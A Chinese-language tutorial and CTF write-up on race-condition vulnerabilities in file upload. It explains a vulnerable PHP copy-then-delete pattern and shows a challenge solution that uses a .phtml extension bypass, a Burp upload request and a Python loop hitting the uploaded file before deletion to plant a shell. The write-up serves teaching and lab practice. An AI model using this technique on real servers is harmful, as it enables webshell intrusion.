相关背景介绍

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

成因

下面以相关操作逻辑顺序设计的不合理为例,具体讨论一下这类问题的成因。在很多系统中都会包含上传文件或者从远端获取文件保存在服务器的功能(如:允许用户使用网络上的图片作为自己的头像的功能),下面是一段简单的上传文件释义代码:

<?php
  if(isset($_GET['src'])){
    copy($_GET['src'],$_GET['dst']);
    //...
    //check file
    unlink($_GET['dst']);
    //...
 }
?>

这段代码看似一切正常,先通过copy($GET['src'],$GET['dst'])将文件从源地址复制到目的地址,然后检查$GET['dst']的安全性,如果发现$GET['dst']不安全就马上通过unlink($_GET['dst'])将其删除。但是,当程序在服务端并发处理用户请求时问题就来了。如果在文件上传成功后但是在相关安全检查发现它是不安全文件删除它以前这个文件就被执行了那么会怎样呢?

假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

由上述过程我们可以看到这种“先将猛兽放进屋,再杀之”的处理逻辑在并发的情况下是十分危险的,极易导致条件竞争漏洞的发生。

攻击方式及危害

仍以上述情境为例,攻击者通过不断地发起访问上传的恶意文件请求的方法成功的将原有处理不安全文件

上传文件E→删除不安全文件E
的业务逻辑变成了

上传文件E→访问执行文件E,生成shell文件S→删除不安全文件E
不安全文件E虽然被删除了,但是有它生成出来的shell文件S却保留在了服务器中,对攻击者来说这个shell文件S才是后续攻击的关键。

例子

cuntctf上传三

这个题目属于条件竞争的题目
具体来讲就是在文件上传之后你要赶在服务器把它删除之前访问一下这个文件就可以了
这个题目抓包的时候又在相应的php文件后缀进行了过滤,把php,php2,php3,php4,php5等都过滤掉了,直到试到phtml的时候回显出来一句话

这时候我们就发现文件被删了

条件竞争,我们一边burpsuit跑上传,一边python脚本访问(单线程即可)

burpsuit头如下

POST /challenge/web/uploadfile/upload.php HTTP/1.1
Host: 202.119.201.199
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://202.119.201.199/challenge/web/uploadfile/index.php
Content-Type: multipart/form-data; boundary=---------------------------114782935826962
Content-Length: 2442
Cookie: PHPSESSID=25q1p9k8g5fd41v08uj3kp1j60
Connection: close
Upgrade-Insecure-Requests: 1§§

-----------------------------114782935826962
Content-Disposition: form-data; name="file"; filename="youthol3.phtml"
Content-Type: image/png

python 脚本如下

#!/usr/bin/python
# Author:Archerx
# coding:utf-8

import requests
url = 'http://202.119.201.199/challenge/web/uploadfile/upload/youthol3.phtml'

while True:
    res = requests.get(url)
    if 'flag' in res.text:
        print(res.text)

护网杯 lpshop

买辣条也是条件竞争

而后是Mysql bigint型整数溢出。

参考

ctf

preView